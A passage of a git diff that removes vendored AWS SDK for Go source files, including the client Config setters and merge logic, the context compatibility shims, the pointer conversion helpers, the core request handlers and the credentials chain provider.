c.Credentials = creds - return c -} - -// WithEndpoint sets a config Endpoint value returning a Config pointer for -// chaining. -func (c *Config) WithEndpoint(endpoint string) *Config { - c.Endpoint = &endpoint - return c -} - -// WithEndpointResolver sets a config EndpointResolver value returning a -// Config pointer for chaining. -func (c *Config) WithEndpointResolver(resolver endpoints.Resolver) *Config { - c.EndpointResolver = resolver - return c -} - -// WithRegion sets a config Region value returning a Config pointer for -// chaining. -func (c *Config) WithRegion(region string) *Config { - c.Region = ®ion - return c -} - -// WithDisableSSL sets a config DisableSSL value returning a Config pointer -// for chaining. -func (c *Config) WithDisableSSL(disable bool) *Config { - c.DisableSSL = &disable - return c -} - -// WithHTTPClient sets a config HTTPClient value returning a Config pointer -// for chaining. -func (c *Config) WithHTTPClient(client *http.Client) *Config { - c.HTTPClient = client - return c -} - -// WithMaxRetries sets a config MaxRetries value returning a Config pointer -// for chaining. -func (c *Config) WithMaxRetries(max int) *Config { - c.MaxRetries = &max - return c -} - -// WithDisableParamValidation sets a config DisableParamValidation value -// returning a Config pointer for chaining. -func (c *Config) WithDisableParamValidation(disable bool) *Config { - c.DisableParamValidation = &disable - return c -} - -// WithDisableComputeChecksums sets a config DisableComputeChecksums value -// returning a Config pointer for chaining. -func (c *Config) WithDisableComputeChecksums(disable bool) *Config { - c.DisableComputeChecksums = &disable - return c -} - -// WithLogLevel sets a config LogLevel value returning a Config pointer for -// chaining. -func (c *Config) WithLogLevel(level LogLevelType) *Config { - c.LogLevel = &level - return c -} - -// WithLogger sets a config Logger value returning a Config pointer for -// chaining. -func (c *Config) WithLogger(logger Logger) *Config { - c.Logger = logger - return c -} - -// WithS3ForcePathStyle sets a config S3ForcePathStyle value returning a Config -// pointer for chaining. -func (c *Config) WithS3ForcePathStyle(force bool) *Config { - c.S3ForcePathStyle = &force - return c -} - -// WithS3Disable100Continue sets a config S3Disable100Continue value returning -// a Config pointer for chaining. -func (c *Config) WithS3Disable100Continue(disable bool) *Config { - c.S3Disable100Continue = &disable - return c -} - -// WithS3UseAccelerate sets a config S3UseAccelerate value returning a Config -// pointer for chaining. -func (c *Config) WithS3UseAccelerate(enable bool) *Config { - c.S3UseAccelerate = &enable - return c - -} - -// WithS3DisableContentMD5Validation sets a config -// S3DisableContentMD5Validation value returning a Config pointer for chaining. -func (c *Config) WithS3DisableContentMD5Validation(enable bool) *Config { - c.S3DisableContentMD5Validation = &enable - return c - -} - -// WithUseDualStack sets a config UseDualStack value returning a Config -// pointer for chaining. -func (c *Config) WithUseDualStack(enable bool) *Config { - c.UseDualStack = &enable - return c -} - -// WithEC2MetadataDisableTimeoutOverride sets a config EC2MetadataDisableTimeoutOverride value -// returning a Config pointer for chaining. -func (c *Config) WithEC2MetadataDisableTimeoutOverride(enable bool) *Config { - c.EC2MetadataDisableTimeoutOverride = &enable - return c -} - -// WithSleepDelay overrides the function used to sleep while waiting for the -// next retry. Defaults to time.Sleep. -func (c *Config) WithSleepDelay(fn func(time.Duration)) *Config { - c.SleepDelay = fn - return c -} - -// WithEndpointDiscovery will set whether or not to use endpoint discovery. -func (c *Config) WithEndpointDiscovery(t bool) *Config { - c.EnableEndpointDiscovery = &t - return c -} - -// WithDisableEndpointHostPrefix will set whether or not to use modeled host prefix -// when making requests. -func (c *Config) WithDisableEndpointHostPrefix(t bool) *Config { - c.DisableEndpointHostPrefix = &t - return c -} - -// MergeIn merges the passed in configs into the existing config object. -func (c *Config) MergeIn(cfgs ...*Config) { - for _, other := range cfgs { - mergeInConfig(c, other) - } -} - -func mergeInConfig(dst *Config, other *Config) { - if other == nil { - return - } - - if other.CredentialsChainVerboseErrors != nil { - dst.CredentialsChainVerboseErrors = other.CredentialsChainVerboseErrors - } - - if other.Credentials != nil { - dst.Credentials = other.Credentials - } - - if other.Endpoint != nil { - dst.Endpoint = other.Endpoint - } - - if other.EndpointResolver != nil { - dst.EndpointResolver = other.EndpointResolver - } - - if other.Region != nil { - dst.Region = other.Region - } - - if other.DisableSSL != nil { - dst.DisableSSL = other.DisableSSL - } - - if other.HTTPClient != nil { - dst.HTTPClient = other.HTTPClient - } - - if other.LogLevel != nil { - dst.LogLevel = other.LogLevel - } - - if other.Logger != nil { - dst.Logger = other.Logger - } - - if other.MaxRetries != nil { - dst.MaxRetries = other.MaxRetries - } - - if other.Retryer != nil { - dst.Retryer = other.Retryer - } - - if other.DisableParamValidation != nil { - dst.DisableParamValidation = other.DisableParamValidation - } - - if other.DisableComputeChecksums != nil { - dst.DisableComputeChecksums = other.DisableComputeChecksums - } - - if other.S3ForcePathStyle != nil { - dst.S3ForcePathStyle = other.S3ForcePathStyle - } - - if other.S3Disable100Continue != nil { - dst.S3Disable100Continue = other.S3Disable100Continue - } - - if other.S3UseAccelerate != nil { - dst.S3UseAccelerate = other.S3UseAccelerate - } - - if other.S3DisableContentMD5Validation != nil { - dst.S3DisableContentMD5Validation = other.S3DisableContentMD5Validation - } - - if other.UseDualStack != nil { - dst.UseDualStack = other.UseDualStack - } - - if other.EC2MetadataDisableTimeoutOverride != nil { - dst.EC2MetadataDisableTimeoutOverride = other.EC2MetadataDisableTimeoutOverride - } - - if other.SleepDelay != nil { - dst.SleepDelay = other.SleepDelay - } - - if other.DisableRestProtocolURICleaning != nil { - dst.DisableRestProtocolURICleaning = other.DisableRestProtocolURICleaning - } - - if other.EnforceShouldRetryCheck != nil { - dst.EnforceShouldRetryCheck = other.EnforceShouldRetryCheck - } - - if other.EnableEndpointDiscovery != nil { - dst.EnableEndpointDiscovery = other.EnableEndpointDiscovery - } - - if other.DisableEndpointHostPrefix != nil { - dst.DisableEndpointHostPrefix = other.DisableEndpointHostPrefix - } -} - -// Copy will return a shallow copy of the Config object. If any additional -// configurations are provided they will be merged into the new config returned. -func (c *Config) Copy(cfgs ...*Config) *Config { - dst := &Config{} - dst.MergeIn(c) - - for _, cfg := range cfgs { - dst.MergeIn(cfg) - } - - return dst -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/context_1_5.go b/vendor/github.com/aws/aws-sdk-go/aws/context_1_5.go deleted file mode 100644 index 2866f9a7fb..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/context_1_5.go +++ /dev/null @@ -1,37 +0,0 @@ -// +build !go1.9 - -package aws - -import "time" - -// Context is an copy of the Go v1.7 stdlib's context.Context interface. -// It is represented as a SDK interface to enable you to use the "WithContext" -// API methods with Go v1.6 and a Context type such as golang.org/x/net/context. -// -// See https://golang.org/pkg/context on how to use contexts. -type Context interface { - // Deadline returns the time when work done on behalf of this context - // should be canceled. Deadline returns ok==false when no deadline is - // set. Successive calls to Deadline return the same results. - Deadline() (deadline time.Time, ok bool) - - // Done returns a channel that's closed when work done on behalf of this - // context should be canceled. Done may return nil if this context can - // never be canceled. Successive calls to Done return the same value. - Done() <-chan struct{} - - // Err returns a non-nil error value after Done is closed. Err returns - // Canceled if the context was canceled or DeadlineExceeded if the - // context's deadline passed. No other values for Err are defined. - // After Done is closed, successive calls to Err return the same value. - Err() error - - // Value returns the value associated with this context for key, or nil - // if no value is associated with key. Successive calls to Value with - // the same key returns the same result. - // - // Use context values only for request-scoped data that transits - // processes and API boundaries, not for passing optional parameters to - // functions. - Value(key interface{}) interface{} -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/context_1_9.go b/vendor/github.com/aws/aws-sdk-go/aws/context_1_9.go deleted file mode 100644 index 3718b26e10..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/context_1_9.go +++ /dev/null @@ -1,11 +0,0 @@ -// +build go1.9 - -package aws - -import "context" - -// Context is an alias of the Go stdlib's context.Context interface. -// It can be used within the SDK's API operation "WithContext" methods. -// -// See https://golang.org/pkg/context on how to use contexts. -type Context = context.Context diff --git a/vendor/github.com/aws/aws-sdk-go/aws/context_background_1_5.go b/vendor/github.com/aws/aws-sdk-go/aws/context_background_1_5.go deleted file mode 100644 index 66c5945db1..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/context_background_1_5.go +++ /dev/null @@ -1,56 +0,0 @@ -// +build !go1.7 - -package aws - -import "time" - -// An emptyCtx is a copy of the Go 1.7 context.emptyCtx type. This is copied to -// provide a 1.6 and 1.5 safe version of context that is compatible with Go -// 1.7's Context. -// -// An emptyCtx is never canceled, has no values, and has no deadline. It is not -// struct{}, since vars of this type must have distinct addresses. -type emptyCtx int - -func (*emptyCtx) Deadline() (deadline time.Time, ok bool) { - return -} - -func (*emptyCtx) Done() <-chan struct{} { - return nil -} - -func (*emptyCtx) Err() error { - return nil -} - -func (*emptyCtx) Value(key interface{}) interface{} { - return nil -} - -func (e *emptyCtx) String() string { - switch e { - case backgroundCtx: - return "aws.BackgroundContext" - } - return "unknown empty Context" -} - -var ( - backgroundCtx = new(emptyCtx) -) - -// BackgroundContext returns a context that will never be canceled, has no -// values, and no deadline. This context is used by the SDK to provide -// backwards compatibility with non-context API operations and functionality. -// -// Go 1.6 and before: -// This context function is equivalent to context.Background in the Go stdlib. -// -// Go 1.7 and later: -// The context returned will be the value returned by context.Background() -// -// See https://golang.org/pkg/context for more information on Contexts. -func BackgroundContext() Context { - return backgroundCtx -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/context_background_1_7.go b/vendor/github.com/aws/aws-sdk-go/aws/context_background_1_7.go deleted file mode 100644 index 9c29f29af1..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/context_background_1_7.go +++ /dev/null @@ -1,20 +0,0 @@ -// +build go1.7 - -package aws - -import "context" - -// BackgroundContext returns a context that will never be canceled, has no -// values, and no deadline. This context is used by the SDK to provide -// backwards compatibility with non-context API operations and functionality. -// -// Go 1.6 and before: -// This context function is equivalent to context.Background in the Go stdlib. -// -// Go 1.7 and later: -// The context returned will be the value returned by context.Background() -// -// See https://golang.org/pkg/context for more information on Contexts. -func BackgroundContext() Context { - return context.Background() -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/context_sleep.go b/vendor/github.com/aws/aws-sdk-go/aws/context_sleep.go deleted file mode 100644 index 304fd15612..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/context_sleep.go +++ /dev/null @@ -1,24 +0,0 @@ -package aws - -import ( - "time" -) - -// SleepWithContext will wait for the timer duration to expire, or the context -// is canceled. Which ever happens first. If the context is canceled the Context's -// error will be returned. -// -// Expects Context to always return a non-nil error if the Done channel is closed. -func SleepWithContext(ctx Context, dur time.Duration) error { - t := time.NewTimer(dur) - defer t.Stop() - - select { - case <-t.C: - break - case <-ctx.Done(): - return ctx.Err() - } - - return nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/convert_types.go b/vendor/github.com/aws/aws-sdk-go/aws/convert_types.go deleted file mode 100644 index ff5d58e068..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/convert_types.go +++ /dev/null @@ -1,387 +0,0 @@ -package aws - -import "time" - -// String returns a pointer to the string value passed in. -func String(v string) *string { - return &v -} - -// StringValue returns the value of the string pointer passed in or -// "" if the pointer is nil. -func StringValue(v *string) string { - if v != nil { - return *v - } - return "" -} - -// StringSlice converts a slice of string values into a slice of -// string pointers -func StringSlice(src []string) []*string { - dst := make([]*string, len(src)) - for i := 0; i < len(src); i++ { - dst[i] = &(src[i]) - } - return dst -} - -// StringValueSlice converts a slice of string pointers into a slice of -// string values -func StringValueSlice(src []*string) []string { - dst := make([]string, len(src)) - for i := 0; i < len(src); i++ { - if src[i] != nil { - dst[i] = *(src[i]) - } - } - return dst -} - -// StringMap converts a string map of string values into a string -// map of string pointers -func StringMap(src map[string]string) map[string]*string { - dst := make(map[string]*string) - for k, val := range src { - v := val - dst[k] = &v - } - return dst -} - -// StringValueMap converts a string map of string pointers into a string -// map of string values -func StringValueMap(src map[string]*string) map[string]string { - dst := make(map[string]string) - for k, val := range src { - if val != nil { - dst[k] = *val - } - } - return dst -} - -// Bool returns a pointer to the bool value passed in. -func Bool(v bool) *bool { - return &v -} - -// BoolValue returns the value of the bool pointer passed in or -// false if the pointer is nil. -func BoolValue(v *bool) bool { - if v != nil { - return *v - } - return false -} - -// BoolSlice converts a slice of bool values into a slice of -// bool pointers -func BoolSlice(src []bool) []*bool { - dst := make([]*bool, len(src)) - for i := 0; i < len(src); i++ { - dst[i] = &(src[i]) - } - return dst -} - -// BoolValueSlice converts a slice of bool pointers into a slice of -// bool values -func BoolValueSlice(src []*bool) []bool { - dst := make([]bool, len(src)) - for i := 0; i < len(src); i++ { - if src[i] != nil { - dst[i] = *(src[i]) - } - } - return dst -} - -// BoolMap converts a string map of bool values into a string -// map of bool pointers -func BoolMap(src map[string]bool) map[string]*bool { - dst := make(map[string]*bool) - for k, val := range src { - v := val - dst[k] = &v - } - return dst -} - -// BoolValueMap converts a string map of bool pointers into a string -// map of bool values -func BoolValueMap(src map[string]*bool) map[string]bool { - dst := make(map[string]bool) - for k, val := range src { - if val != nil { - dst[k] = *val - } - } - return dst -} - -// Int returns a pointer to the int value passed in. -func Int(v int) *int { - return &v -} - -// IntValue returns the value of the int pointer passed in or -// 0 if the pointer is nil. -func IntValue(v *int) int { - if v != nil { - return *v - } - return 0 -} - -// IntSlice converts a slice of int values into a slice of -// int pointers -func IntSlice(src []int) []*int { - dst := make([]*int, len(src)) - for i := 0; i < len(src); i++ { - dst[i] = &(src[i]) - } - return dst -} - -// IntValueSlice converts a slice of int pointers into a slice of -// int values -func IntValueSlice(src []*int) []int { - dst := make([]int, len(src)) - for i := 0; i < len(src); i++ { - if src[i] != nil { - dst[i] = *(src[i]) - } - } - return dst -} - -// IntMap converts a string map of int values into a string -// map of int pointers -func IntMap(src map[string]int) map[string]*int { - dst := make(map[string]*int) - for k, val := range src { - v := val - dst[k] = &v - } - return dst -} - -// IntValueMap converts a string map of int pointers into a string -// map of int values -func IntValueMap(src map[string]*int) map[string]int { - dst := make(map[string]int) - for k, val := range src { - if val != nil { - dst[k] = *val - } - } - return dst -} - -// Int64 returns a pointer to the int64 value passed in. -func Int64(v int64) *int64 { - return &v -} - -// Int64Value returns the value of the int64 pointer passed in or -// 0 if the pointer is nil. -func Int64Value(v *int64) int64 { - if v != nil { - return *v - } - return 0 -} - -// Int64Slice converts a slice of int64 values into a slice of -// int64 pointers -func Int64Slice(src []int64) []*int64 { - dst := make([]*int64, len(src)) - for i := 0; i < len(src); i++ { - dst[i] = &(src[i]) - } - return dst -} - -// Int64ValueSlice converts a slice of int64 pointers into a slice of -// int64 values -func Int64ValueSlice(src []*int64) []int64 { - dst := make([]int64, len(src)) - for i := 0; i < len(src); i++ { - if src[i] != nil { - dst[i] = *(src[i]) - } - } - return dst -} - -// Int64Map converts a string map of int64 values into a string -// map of int64 pointers -func Int64Map(src map[string]int64) map[string]*int64 { - dst := make(map[string]*int64) - for k, val := range src { - v := val - dst[k] = &v - } - return dst -} - -// Int64ValueMap converts a string map of int64 pointers into a string -// map of int64 values -func Int64ValueMap(src map[string]*int64) map[string]int64 { - dst := make(map[string]int64) - for k, val := range src { - if val != nil { - dst[k] = *val - } - } - return dst -} - -// Float64 returns a pointer to the float64 value passed in. -func Float64(v float64) *float64 { - return &v -} - -// Float64Value returns the value of the float64 pointer passed in or -// 0 if the pointer is nil. -func Float64Value(v *float64) float64 { - if v != nil { - return *v - } - return 0 -} - -// Float64Slice converts a slice of float64 values into a slice of -// float64 pointers -func Float64Slice(src []float64) []*float64 { - dst := make([]*float64, len(src)) - for i := 0; i < len(src); i++ { - dst[i] = &(src[i]) - } - return dst -} - -// Float64ValueSlice converts a slice of float64 pointers into a slice of -// float64 values -func Float64ValueSlice(src []*float64) []float64 { - dst := make([]float64, len(src)) - for i := 0; i < len(src); i++ { - if src[i] != nil { - dst[i] = *(src[i]) - } - } - return dst -} - -// Float64Map converts a string map of float64 values into a string -// map of float64 pointers -func Float64Map(src map[string]float64) map[string]*float64 { - dst := make(map[string]*float64) - for k, val := range src { - v := val - dst[k] = &v - } - return dst -} - -// Float64ValueMap converts a string map of float64 pointers into a string -// map of float64 values -func Float64ValueMap(src map[string]*float64) map[string]float64 { - dst := make(map[string]float64) - for k, val := range src { - if val != nil { - dst[k] = *val - } - } - return dst -} - -// Time returns a pointer to the time.Time value passed in. -func Time(v time.Time) *time.Time { - return &v -} - -// TimeValue returns the value of the time.Time pointer passed in or -// time.Time{} if the pointer is nil. -func TimeValue(v *time.Time) time.Time { - if v != nil { - return *v - } - return time.Time{} -} - -// SecondsTimeValue converts an int64 pointer to a time.Time value -// representing seconds since Epoch or time.Time{} if the pointer is nil. -func SecondsTimeValue(v *int64) time.Time { - if v != nil { - return time.Unix((*v / 1000), 0) - } - return time.Time{} -} - -// MillisecondsTimeValue converts an int64 pointer to a time.Time value -// representing milliseconds sinch Epoch or time.Time{} if the pointer is nil. -func MillisecondsTimeValue(v *int64) time.Time { - if v != nil { - return time.Unix(0, (*v * 1000000)) - } - return time.Time{} -} - -// TimeUnixMilli returns a Unix timestamp in milliseconds from "January 1, 1970 UTC". -// The result is undefined if the Unix time cannot be represented by an int64. -// Which includes calling TimeUnixMilli on a zero Time is undefined. -// -// This utility is useful for service API's such as CloudWatch Logs which require -// their unix time values to be in milliseconds. -// -// See Go stdlib https://golang.org/pkg/time/#Time.UnixNano for more information. -func TimeUnixMilli(t time.Time) int64 { - return t.UnixNano() / int64(time.Millisecond/time.Nanosecond) -} - -// TimeSlice converts a slice of time.Time values into a slice of -// time.Time pointers -func TimeSlice(src []time.Time) []*time.Time { - dst := make([]*time.Time, len(src)) - for i := 0; i < len(src); i++ { - dst[i] = &(src[i]) - } - return dst -} - -// TimeValueSlice converts a slice of time.Time pointers into a slice of -// time.Time values -func TimeValueSlice(src []*time.Time) []time.Time { - dst := make([]time.Time, len(src)) - for i := 0; i < len(src); i++ { - if src[i] != nil { - dst[i] = *(src[i]) - } - } - return dst -} - -// TimeMap converts a string map of time.Time values into a string -// map of time.Time pointers -func TimeMap(src map[string]time.Time) map[string]*time.Time { - dst := make(map[string]*time.Time) - for k, val := range src { - v := val - dst[k] = &v - } - return dst -} - -// TimeValueMap converts a string map of time.Time pointers into a string -// map of time.Time values -func TimeValueMap(src map[string]*time.Time) map[string]time.Time { - dst := make(map[string]time.Time) - for k, val := range src { - if val != nil { - dst[k] = *val - } - } - return dst -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/corehandlers/handlers.go b/vendor/github.com/aws/aws-sdk-go/aws/corehandlers/handlers.go deleted file mode 100644 index f8853d78af..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/corehandlers/handlers.go +++ /dev/null @@ -1,228 +0,0 @@ -package corehandlers - -import ( - "bytes" - "fmt" - "io/ioutil" - "net/http" - "net/url" - "regexp" - "strconv" - "time" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/credentials" - "github.com/aws/aws-sdk-go/aws/request" -) - -// Interface for matching types which also have a Len method. -type lener interface { - Len() int -} - -// BuildContentLengthHandler builds the content length of a request based on the body, -// or will use the HTTPRequest.Header's "Content-Length" if defined. If unable -// to determine request body length and no "Content-Length" was specified it will panic. -// -// The Content-Length will only be added to the request if the length of the body -// is greater than 0. If the body is empty or the current `Content-Length` -// header is <= 0, the header will also be stripped. -var BuildContentLengthHandler = request.NamedHandler{Name: "core.BuildContentLengthHandler", Fn: func(r *request.Request) { - var length int64 - - if slength := r.HTTPRequest.Header.Get("Content-Length"); slength != "" { - length, _ = strconv.ParseInt(slength, 10, 64) - } else { - if r.Body != nil { - var err error - length, err = aws.SeekerLen(r.Body) - if err != nil { - r.Error = awserr.New(request.ErrCodeSerialization, "failed to get request body's length", err) - return - } - } - } - - if length > 0 { - r.HTTPRequest.ContentLength = length - r.HTTPRequest.Header.Set("Content-Length", fmt.Sprintf("%d", length)) - } else { - r.HTTPRequest.ContentLength = 0 - r.HTTPRequest.Header.Del("Content-Length") - } -}} - -var reStatusCode = regexp.MustCompile(`^(\d{3})`) - -// ValidateReqSigHandler is a request handler to ensure that the request's -// signature doesn't expire before it is sent. This can happen when a request -// is built and signed significantly before it is sent. Or significant delays -// occur when retrying requests that would cause the signature to expire. -var ValidateReqSigHandler = request.NamedHandler{ - Name: "core.ValidateReqSigHandler", - Fn: func(r *request.Request) { - // Unsigned requests are not signed - if r.Config.Credentials == credentials.AnonymousCredentials { - return - } - - signedTime := r.Time - if !r.LastSignedAt.IsZero() { - signedTime = r.LastSignedAt - } - - // 5 minutes to allow for some clock skew/delays in transmission. - // Would be improved with aws/aws-sdk-go#423 - if signedTime.Add(5 * time.Minute).After(time.Now()) { - return - } - - fmt.Println("request expired, resigning") - r.Sign() - }, -} - -// SendHandler is a request handler to send service request using HTTP client. -var SendHandler = request.NamedHandler{ - Name: "core.SendHandler", - Fn: func(r *request.Request) { - sender := sendFollowRedirects - if r.DisableFollowRedirects { - sender = sendWithoutFollowRedirects - } - - if request.NoBody == r.HTTPRequest.Body { - // Strip off the request body if the NoBody reader was used as a - // place holder for a request body. This prevents the SDK from - // making requests with a request body when it would be invalid - // to do so. - // - // Use a shallow copy of the http.Request to ensure the race condition - // of transport on Body will not trigger - reqOrig, reqCopy := r.HTTPRequest, *r.HTTPRequest - reqCopy.Body = nil - r.HTTPRequest = &reqCopy - defer func() { - r.HTTPRequest = reqOrig - }() - } - - var err error - r.HTTPResponse, err = sender(r) - if err != nil { - handleSendError(r, err) - } - }, -} - -func sendFollowRedirects(r *request.Request) (*http.Response, error) { - return r.Config.HTTPClient.Do(r.HTTPRequest) -} - -func sendWithoutFollowRedirects(r *request.Request) (*http.Response, error) { - transport := r.Config.HTTPClient.Transport - if transport == nil { - transport = http.DefaultTransport - } - - return transport.RoundTrip(r.HTTPRequest) -} - -func handleSendError(r *request.Request, err error) { - // Prevent leaking if an HTTPResponse was returned. Clean up - // the body. - if r.HTTPResponse != nil { - r.HTTPResponse.Body.Close() - } - // Capture the case where url.Error is returned for error processing - // response. e.g. 301 without location header comes back as string - // error and r.HTTPResponse is nil. Other URL redirect errors will - // comeback in a similar method. - if e, ok := err.(*url.Error); ok && e.Err != nil { - if s := reStatusCode.FindStringSubmatch(e.Err.Error()); s != nil { - code, _ := strconv.ParseInt(s[1], 10, 64) - r.HTTPResponse = &http.Response{ - StatusCode: int(code), - Status: http.StatusText(int(code)), - Body: ioutil.NopCloser(bytes.NewReader([]byte{})), - } - return - } - } - if r.HTTPResponse == nil { - // Add a dummy request response object to ensure the HTTPResponse - // value is consistent. - r.HTTPResponse = &http.Response{ - StatusCode: int(0), - Status: http.StatusText(int(0)), - Body: ioutil.NopCloser(bytes.NewReader([]byte{})), - } - } - // Catch all other request errors. - r.Error = awserr.New("RequestError", "send request failed", err) - r.Retryable = aws.Bool(true) // network errors are retryable - - // Override the error with a context canceled error, if that was canceled. - ctx := r.Context() - select { - case <-ctx.Done(): - r.Error = awserr.New(request.CanceledErrorCode, - "request context canceled", ctx.Err()) - r.Retryable = aws.Bool(false) - default: - } -} - -// ValidateResponseHandler is a request handler to validate service response. -var ValidateResponseHandler = request.NamedHandler{Name: "core.ValidateResponseHandler", Fn: func(r *request.Request) { - if r.HTTPResponse.StatusCode == 0 || r.HTTPResponse.StatusCode >= 300 { - // this may be replaced by an UnmarshalError handler - r.Error = awserr.New("UnknownError", "unknown error", nil) - } -}} - -// AfterRetryHandler performs final checks to determine if the request should -// be retried and how long to delay. -var AfterRetryHandler = request.NamedHandler{Name: "core.AfterRetryHandler", Fn: func(r *request.Request) { - // If one of the other handlers already set the retry state - // we don't want to override it based on the service's state - if r.Retryable == nil || aws.BoolValue(r.Config.EnforceShouldRetryCheck) { - r.Retryable = aws.Bool(r.ShouldRetry(r)) - } - - if r.WillRetry() { - r.RetryDelay = r.RetryRules(r) - - if sleepFn := r.Config.SleepDelay; sleepFn != nil { - // Support SleepDelay for backwards compatibility and testing - sleepFn(r.RetryDelay) - } else if err := aws.SleepWithContext(r.Context(), r.RetryDelay); err != nil { - r.Error = awserr.New(request.CanceledErrorCode, - "request context canceled", err) - r.Retryable = aws.Bool(false) - return - } - - // when the expired token exception occurs the credentials - // need to be expired locally so that the next request to - // get credentials will trigger a credentials refresh. - if r.IsErrorExpired() { - r.Config.Credentials.Expire() - } - - r.RetryCount++ - r.Error = nil - } -}} - -// ValidateEndpointHandler is a request handler to validate a request had the -// appropriate Region and Endpoint set. Will set r.Error if the endpoint or -// region is not valid. -var ValidateEndpointHandler = request.NamedHandler{Name: "core.ValidateEndpointHandler", Fn: func(r *request.Request) { - if r.ClientInfo.SigningRegion == "" && aws.StringValue(r.Config.Region) == "" { - r.Error = aws.ErrMissingRegion - } else if r.ClientInfo.Endpoint == "" { - r.Error = aws.ErrMissingEndpoint - } -}} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/corehandlers/param_validator.go b/vendor/github.com/aws/aws-sdk-go/aws/corehandlers/param_validator.go deleted file mode 100644 index 7d50b1557c..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/corehandlers/param_validator.go +++ /dev/null @@ -1,17 +0,0 @@ -package corehandlers - -import "github.com/aws/aws-sdk-go/aws/request" - -// ValidateParametersHandler is a request handler to validate the input parameters. -// Validating parameters only has meaning if done prior to the request being sent. -var ValidateParametersHandler = request.NamedHandler{Name: "core.ValidateParametersHandler", Fn: func(r *request.Request) { - if !r.ParamsFilled() { - return - } - - if v, ok := r.Params.(request.Validator); ok { - if err := v.Validate(); err != nil { - r.Error = err - } - } -}} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/corehandlers/user_agent.go b/vendor/github.com/aws/aws-sdk-go/aws/corehandlers/user_agent.go deleted file mode 100644 index ab69c7a6f3..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/corehandlers/user_agent.go +++ /dev/null @@ -1,37 +0,0 @@ -package corehandlers - -import ( - "os" - "runtime" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/request" -) - -// SDKVersionUserAgentHandler is a request handler for adding the SDK Version -// to the user agent. -var SDKVersionUserAgentHandler = request.NamedHandler{ - Name: "core.SDKVersionUserAgentHandler", - Fn: request.MakeAddToUserAgentHandler(aws.SDKName, aws.SDKVersion, - runtime.Version(), runtime.GOOS, runtime.GOARCH), -} - -const execEnvVar = `AWS_EXECUTION_ENV` -const execEnvUAKey = `exec-env` - -// AddHostExecEnvUserAgentHander is a request handler appending the SDK's -// execution environment to the user agent. -// -// If the environment variable AWS_EXECUTION_ENV is set, its value will be -// appended to the user agent string. -var AddHostExecEnvUserAgentHander = request.NamedHandler{ - Name: "core.AddHostExecEnvUserAgentHander", - Fn: func(r *request.Request) { - v := os.Getenv(execEnvVar) - if len(v) == 0 { - return - } - - request.AddToUserAgent(r, execEnvUAKey+"/"+v) - }, -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/credentials/chain_provider.go b/vendor/github.com/aws/aws-sdk-go/aws/credentials/chain_provider.go deleted file mode 100644 index 3ad1e798df..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/credentials/chain_provider.go +++ /dev/null @@ -1,100 +0,0 @@ -package credentials - -import ( - "github.com/aws/aws-sdk-go/aws/awserr" -) - -var ( - // ErrNoValidProvidersFoundInChain Is returned when there are no valid - // providers in the ChainProvider. - // - // This has been deprecated. For verbose error messaging set - // aws.Config.CredentialsChainVerboseErrors to true. - ErrNoValidProvidersFoundInChain = awserr.New("NoCredentialProviders", - `no valid providers in chain. Deprecated. - For verbose messaging see aws.Config.CredentialsChainVerboseErrors`, - nil) -) - -// A ChainProvider will search for a provider which returns credentials -// and cache that provider until Retrieve is called again. -// -// The ChainProvider provides a way of chaining multiple providers together -// which will pick the first available using priority order of the Providers -// in the list. -// -// If none of the Providers retrieve valid credentials Value, ChainProvider's -// Retrieve() will return the error ErrNoValidProvidersFoundInChain. -// -// If a Provider is found which returns valid credentials Value ChainProvider -// will cache that Provider for all calls to IsExpired(), until Retrieve is -// called again. -// -// Example of ChainProvider to be used with an EnvProvider and EC2RoleProvider. -// In this example EnvProvider will first check if any credentials are available -// via the environment variables. If there are none ChainProvider will check -// the next Provider in the list, EC2RoleProvider in this case. If EC2RoleProvider -// does not return any credentials ChainProvider will return the error -// ErrNoValidProvidersFoundInChain -// -// creds := credentials.NewChainCredentials( -// []credentials.Provider{ -// &credentials.EnvProvider{}, -// &ec2rolecreds.EC2RoleProvider{ -// Client: ec2metadata.New(sess), -// }, -// }) -// -// // Usage of ChainCredentials with aws.Config -// svc := ec2.New(session.Must(session.NewSession(&aws.Config{ -// Credentials: creds, -// }))) -// -type ChainProvider struct { - Providers []Provider - curr Provider - VerboseErrors bool -} - -// NewChainCredentials returns a pointer to a new Credentials object -// wrapping a chain of providers. -func NewChainCredentials(providers []Provider) *Credentials { - return NewCredentials(&ChainProvider{ - Providers: append([]Provider{}, providers...), - }) -} - -// Retrieve returns the credentials value or error if no provider returned -// without error. -// -// If a provider is found it will be cached and any calls to IsExpired() -// will return the expired state of the cached provider. -func (c *ChainProvider) Retrieve() (Value, error) { - var errs []error - for _, p := range c.Providers { - creds, err := p.Retrieve() - if err == nil { - c.curr = p - return creds, nil - } - errs = append(errs, err) - } - c.curr = nil - - var err error - err = ErrNoValidProvidersFoundInChain - if c.VerboseErrors { - err = awserr.NewBatchError("NoCredentialProviders", "no valid providers in chain", errs) - } - return Value{}, err -} - -// IsExpired will returned the expired state of the currently cached provider -// if there is one. If there is no current provider, true will be returned. -func (c *ChainProvider) IsExpired() bool { - if c.curr != nil { - return c.curr.IsExpired() - } - - return true -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/credentials/credentials.go b/vendor/github.com/aws/aws-sdk-go/aws/credentials/credentials.go deleted file mode 100644 index 894bbc7f82..0000000000 --- 